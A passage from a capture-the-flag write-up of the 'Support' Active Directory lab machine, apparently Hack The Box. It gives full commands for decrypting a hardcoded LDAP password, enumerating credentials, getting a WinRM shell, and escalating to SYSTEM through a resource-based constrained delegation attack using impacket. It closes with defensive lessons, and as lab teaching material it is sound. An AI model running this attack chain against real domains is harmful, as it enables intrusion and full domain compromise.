    data = base64.b64decode(enc_password)
    decoded = bytearray()
    for i in range(len(data)):
        decoded.append((data[i] ^ key[i % len(key)]) ^ xor_constant)
    return decoded.decode()

if __name__ == "__main__":
    enc_password = sys.argv[1]
    key = sys.argv[2]
    xor_constant = int(sys.argv[3]) if len(sys.argv) > 3 else 0xDF
    try:
        decrypted = decrypt_xor(enc_password, key, xor_constant)
        print(f"[+] Decrypted: {decrypted}")
    except Exception as e:
        print(f"[-] Error: {e}", file=sys.stderr)
        sys.exit(1)

python3 decrypt.py 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E 'armando'
# [+] Decrypted: nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz

LDAP credentials: ldap : nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz

4. LDAP Enumeration: Finding the Admin Password

ldapsearch -x -H ldap://<MACHINE-IP> \
  -D "support\\ldap" \
  -w 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "dc=support,dc=htb" \
  "(ObjectClass=User)" "*"

The info field on the support user contains plaintext credentials: support : Ironside47pleasure40Watchful

This is a critical security failure — passwords should never be stored in AD attributes in plaintext.

4.1 Mapping Permissions with BloodHound

bloodhound-python -d support.htb \
  -u ldap \
  -p 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -dc dc.support.htb \
  -ns <MACHINE-IP> \
  -c All

BloodHound reveals: the support user is a member of Remote Management Users — WinRM access is possible.

5. User Flag: Getting Shell Access

evil-winrm -i <MACHINE-IP> -u support -p 'Ironside47pleasure40Watchful'

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
11.........c5

User flag captured!

6. Privilege Escalation: The RBCD Attack

BloodHound shows a dangerous attack path:

support user → Shared Support Accounts → GenericAll over → Domain Controller

6.1 Understanding RBCD

RBCD allows a compromised computer account to impersonate any user when accessing another resource. By creating a fake computer and configuring it for delegation, we can impersonate the Administrator.

6.2 Creating a Fake Computer Account

impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' \
  -dc-ip <MACHINE-IP> \
  -computer-name 'FAKEPC$' \
  -computer-pass 'Pass123!@#'

6.3 Configuring Delegation

impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' \
  -delegate-from 'FAKEPC$' \
  -delegate-to 'DC$' \
  -action write \
  -dc-ip <MACHINE-IP>

6.4 Impersonating the Administrator

impacket-getST support.htb/'FAKEPC$':'Pass123!@#' \
  -spn cifs/dc.support.htb \
  -impersonate administrator \
  -dc-ip <MACHINE-IP>

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

7. Root Flag: Domain Admin Access

impacket-smbexec support.htb/administrator@dc.support.htb -k -no-pass

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
33d............daf

Root flag captured!

8. Attack Chain Summary

Step	Action
Reconnaissance	Nmap identified AD infrastructure
SMB Enumeration	Anonymous access revealed UserInfo.exe.zip
Binary Decompilation	ILSpy extracted XOR-encrypted LDAP credentials
Credential Recovery	Python script decrypted the password
LDAP Query	Plaintext password found in support user's info field
WinRM Access	Shell via evil-winrm
Privilege Escalation	RBCD attack via BloodHound-identified path
Domain Admin	S4U2Proxy impersonated Administrator

9. Key Vulnerabilities & Lessons

1. Anonymous SMB Share — Disable anonymous access, enforce authentication.

2. Hardcoded Credentials — Use secret vaults, never embed credentials in code.

3. Weak XOR Encryption — Use AES with proper key management.

4. Plaintext Credentials in LDAP — Never store sensitive data in directory attributes.

5. Unrestricted WinRM — Restrict to trusted admin networks only.

6. Over-Privileged Groups — Enforce least privilege, audit memberships regularly.

7. GenericAll on DC Object — Review and restrict AD object permissions.

8. Misconfigured RBCD — Audit delegation configurations regularly.

9. No Monitoring — Implement AD logging and real-time alerting.

Conclusion

The Support machine illustrates a common real-world scenario: a single exposed credential escalates into complete domain compromise through a chain of misconfigurations.

Key Takeaways:

Never trust anonymous SMB shares — they're reconnaissance goldmines
Always scrutinize binaries for hardcoded secrets
Monitor and audit AD group memberships and permissions
Implement the principle of least privilege
Enable comprehensive logging and alerting for suspicious AD activity

This attack chain is entirely preventable with proper security controls. What's your biggest takeaway from this writeup?